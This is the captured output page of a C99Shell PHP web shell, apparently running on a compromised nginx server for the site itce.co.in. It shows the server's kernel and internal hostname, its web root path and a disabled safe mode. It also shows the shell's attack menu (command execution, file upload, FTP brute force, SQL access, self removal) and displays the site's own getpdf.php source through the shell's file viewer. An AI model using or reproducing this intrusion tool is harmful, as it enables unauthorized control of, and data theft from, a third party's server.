!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/   drwxr-xr-x
Free 30.76 GB of 49.93 GB (61.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     getpdf.php (930 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 
@ini_set("display_errors","1");
@
ini_set("display_startup_errors","1");

require_once(
"include/dbcommon.php");

$table postvalue("table");
$id postvalue_number("id");
if(!
$table || !$id)
    return;

$tablename="";
$tables GetTablesList(true);
foreach(
$tables as $t)
{
    if(
GetTableURL($t)==$table)
    {
        
$tablename=$t;
        break;
    }
}
if(!
$tablename)
    return;
##if @BUILDER.bCreateLoginPage##
if(!isLogged())

    
HeaderRedirect("login"); 
    return;
}
$strPerm GetUserPermissions($tablename);
if(
strpos($strPerm,"S")===false && strpos($strPerm,"E")===false)

    
HeaderRedirect("login"); 
    return;
}
##endif##

$file dirname(__FILE__)."/templates_c/".$table.$id.".pdf";
if(!
myfile_exists($file))
    return;
$value = @file_get_contents($file);

header("Content-Type: application/pdf");
header("Cache-Control: private");
SendContentLength(strlen($value));
echoBinary($value);

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0016 ]--